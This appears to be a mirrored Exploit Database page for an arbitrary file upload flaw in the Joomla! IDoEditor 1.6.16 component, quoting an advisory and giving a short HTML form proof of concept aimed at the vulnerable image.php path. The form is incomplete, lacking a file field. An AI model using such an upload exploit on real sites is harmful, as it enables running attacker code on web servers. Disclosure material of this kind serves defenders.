Joomla! Component IDoEditor – ‘image.php’ Arbitrary File Upload

Exploit Database
131 阅读

作者： Sammy FORGIT

日期： 2012-06-13
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/37381/

source: https://www.securityfocus.com/bid/53973/info

The IDoEditor component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process.

IDoEditor 1.6.16 is vulnerable; other versions may also be affected.

<html>

<body>

<form

action="http://www.example.com/plugins/editors/idoeditor/themes/advanced/php/image.php"

method="post" enctype="multipart/form-data">

</form>

</center>

</body>

</html>

last Exploits
Joomla! Component IDoEditor – ‘image.php’ Arbitrary File Upload的更多信息

IBM Lotus Domino R8 – Password Hash Extraction：
WordPress Plugin Download Manager Free & Pro 2.5.8 – Persistent Cross-Site Scripting：
D-Link DIR-635 – Multiple Vulnerabilities：
zzzphp CMS 1.6.1 – Remote Code Execution：
qdPM 9.2 – Cross-site Request Forgery (CSRF)：
XOS Shop 1.0.9 – ‘Multiple’ Arbitrary File Deletion (Authenticated)：
Lynx Message Server – Multiple Vulnerabilities：
Power-eCommerce – Multiple Cross-Site Scripting Vulnerabilities：